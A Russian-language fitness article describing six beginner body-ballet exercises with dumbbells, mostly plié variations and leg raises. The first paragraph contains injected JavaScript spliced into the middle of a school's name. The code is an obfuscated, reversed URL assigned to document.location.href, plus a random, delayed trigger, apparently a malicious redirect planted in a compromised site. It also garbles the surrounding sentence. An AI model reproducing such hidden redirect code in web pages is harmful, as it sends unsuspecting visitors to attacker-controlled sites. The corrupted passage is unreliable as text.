Боди-балет: 6 классных упражнений для начинающих

Боди-балет — новомодный вид фитнеса, который уже успел полюбиться многим девушкам за эффективные и в то же время невероятно красивые и изящные движения. Если вы ещё не успели познакомиться с боди-балетом, основательница школы Balletoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomania Лилия Сковородникова сделает это за вас и покажет несколько простых упражнений.

Плие с поднятием руки

Фото: Кристина Подрезова

1. Становитесь прямо, плечи опущены. Поставьте ноги в первую позицию — пятки почти соединены, стопы смотрят в противоположные стороны. Возьмите в руки гантели.
2. Опуститесь ниже, в плие. Следите за тем, чтобы пятки не отрывались от пола, а колени смотрели в сторону носков. Одновременно с этим поднимите одну руку вверх. Вернитесь в исходное положение. Снова опуститесь и поднимите другую руку.
3. Выполняйте это и последующие упражнения в три подхода по 20 раз.

Плие + батман тандю

Фото: Кристина Подрезова

1. Становитесь прямо, плечи опущены. Поставьте ноги в первую позицию. Возьмите в руки гантели и установите их перед собой.
2. Скользящим движением отведите ногу в сторону и поставьте на носок. Согнув ноги, опуститесь вниз, в плие. Вернитесь в исходное положение, затем отведите в сторону другую ногу и снова присядьте.

Плие с разведением рук

Фото: Кристина Подрезова

1. Поставьте ноги в первую позицию. Возьмите в руки гантели и поднимите их вверх.
2. Немного наклоните (примерно на 40—45 градусов) корпус вперёд. Спина ровная. Опуститесь в плие и одновременно отведите руки назад. Помните: пятки не должны отрываться от пола. Вернитесь в исходное положение и повторите упражнение.

Разворот ног с отведением рук

Фото: Кристина Подрезова

1. Садитесь на пол, зафиксируйте ноги в первой позиции. Вытяните ноги, пятки могут отрываться от пола. Возьмите в руки гантели и поставьте их перед собой.
2. Отклоните корпус назад, плечи опущены. Напрягите мышцы живота. Теперь перенесите корпус вперёд и разведите руки в стороны. Вернитесь в исходное положение и повторите.

Подъёмы ног с разворотом корпуса

Фото: Кристина Подрезова

1. Садитесь на пол, выпрямите ноги и поставьте их в первую позицию. Плечи опущены. Возьмите в руки гантели. Согните руки в локтях — ладони смотрят на вас.
2. Напрягите мышцы живота и немного (примерно на 30—40 градусов) отклоните корпус назад. Поднимите левую ногу и одновременно скрутитесь в левую сторону. Хорошо тяните ногу. Не зажимайте шею. Вернитесь в исходное положение. Поднимите правую ногу и повернитесь в ту же сторону.

Отведение руки и ноги в сторону

Фото: Кристина Подрезова

1. Ложитесь на пол на спину. Поднимите ноги под углом 90 градусов к корпусу. Возьмите гантели в руки и тоже поднимите. Мышцы ног подтянуты. Соедините пятки и тяните носки вверх.
2. Опустите левую ногу и одновременно правую руку в стороны. Не кладите руку на пол. Вернитесь в исходное положение и повторите упражнение с другой ногой и рукой.

Благодарим фитнес-бутик Гранатный, 4 за помощь в организации съёмок.